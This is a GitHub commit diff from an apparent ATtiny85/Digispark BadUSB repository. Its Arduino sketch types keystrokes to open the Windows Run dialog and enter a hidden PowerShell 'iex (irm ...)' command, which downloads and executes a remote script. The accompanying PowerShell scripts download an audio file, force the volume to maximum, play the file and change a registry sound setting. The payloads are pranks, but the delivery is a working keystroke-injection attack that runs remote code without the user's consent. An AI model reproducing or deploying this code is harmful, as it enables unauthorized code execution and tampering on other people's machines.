-
Notifications
You must be signed in to change notification settings - Fork 5
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
Showing
5 changed files
with
49 additions
and
26 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -1,28 +1,26 @@ | ||
#include "DigiKeyboard.h" | ||
|
||
void setup() { | ||
// empty | ||
// empty | ||
} | ||
|
||
void loop() { | ||
// Initialise digispark | ||
DigiKeyboard.sendKeyStroke(0); | ||
DigiKeyboard.delay(600); | ||
// Initialise digispark | ||
DigiKeyboard.sendKeyStroke(0); | ||
DigiKeyboard.delay(600); | ||
|
||
// Opens the run dialog | ||
DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT); | ||
DigiKeyboard.delay(600); | ||
// Opens the run dialog | ||
DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT); | ||
DigiKeyboard.delay(600); | ||
|
||
// Writes the command | ||
DigiKeyboard.print("powershell -w h "); | ||
DigiKeyboard.print("iex (irm \""); | ||
DigiKeyboard.print("https://raw.githubusercontent.com/msr8/attiny85/main/Shell%20Scripts/powershell/speak.ps1"); // LINK HERE | ||
DigiKeyboard.print("\")"); | ||
// Enters it | ||
DigiKeyboard.sendKeyStroke(KEY_ENTER); | ||
// Writes the command | ||
DigiKeyboard.print("powershell -w h "); | ||
DigiKeyboard.print("iex (irm \""); | ||
DigiKeyboard.print("https://raw.githubusercontent.com/msr8/attiny85/main/Shell%20Scripts/powershell/speak.ps1"); // LINK HERE | ||
DigiKeyboard.print("\")"); | ||
// Enters it | ||
DigiKeyboard.sendKeyStroke(KEY_ENTER); | ||
|
||
|
||
|
||
for (;;) {/* Stops the loop */} | ||
} | ||
|
||
for (;;) {/* Stops the loop */} | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -1,4 +1,3 @@ | ||
|
||
$source = @" | ||
using System; | ||
using System.Runtime.InteropServices; | ||
|
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -1,13 +1,18 @@ | ||
$URL = "https://raw.githubusercontent.com/msr8/attiny85/main/Assets/yamete-kudasai.wav" | ||
$FP = "$env:TEMP\15791817.wav" | ||
|
||
# Check if the file does not exist | ||
if ( -not (Test-Path $FP) ) { | ||
# if it doesnt exist, download the audio file and save it in the temporary directory | ||
# https://stackoverflow.com/a/51225744/17002774 | ||
Invoke-WebRequest -Uri $URL -OutFile $FP | ||
} | ||
# Download the audio file and save it in the temporary directory | ||
# https://stackoverflow.com/a/51225744/17002774 | ||
Invoke-WebRequest $URL -OutFile $FP | ||
|
||
# Change volume to full | ||
$wshShell = New-Object -ComObject WScript.Shell | ||
1..50 | ForEach-Object { $wshShell.SendKeys([char]175) } | ||
|
||
# Play the audio file | ||
# https://stackoverflow.com/a/73538809/17002774 | ||
(New-Object System.Media.SoundPlayer($FP)).PlaySync() | ||
(New-Object System.Media.SoundPlayer($FP)).PlaySync() | ||
|
||
# Delete the audio file | ||
# (https://www.easeus.com/computer-instruction/delete-file-powershell.html) | ||
Remove-Item -Path $FP |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,19 @@ | ||
$URL = "https://raw.githubusercontent.com/msr8/attiny85/main/Assets/yamete-kudasai.wav" | ||
$FP = "$env:TEMP\15791817.wav" | ||
# Uncomment the below line to "fix" the sound | ||
# $FP = "C:\Windows\Media\Windows Hardware Insert.wav" | ||
|
||
# Check if the file does not exist | ||
if ( -not (Test-Path $FP) ) { | ||
# If it doesnt exist, download the audio file and save it in the temporary directory | ||
# https://stackoverflow.com/a/51225744/17002774 | ||
Invoke-WebRequest $URL -OutFile $FP | ||
} | ||
|
||
Set-ItemProperty -Value $FP -Path "HKCU:\AppEvents\Schemes\Apps\.Default\DeviceConnect\.Current" -Name "(Default)" | ||
|
||
# https://www.dmcinfo.com/latest-thinking/blog/id/9338/automatically-change-windows-system-sounds | ||
# https://stackoverflow.com/questions/66824212/change-default-windows-sound-with-powershell | ||
# https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.management/set-itemproperty?view=powershell-7.4 | ||
|
||
|
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,2 @@ | ||
# https://superuser.com/a/1033518 | ||
# https://stackoverflow.com/a/21130366/17002774 |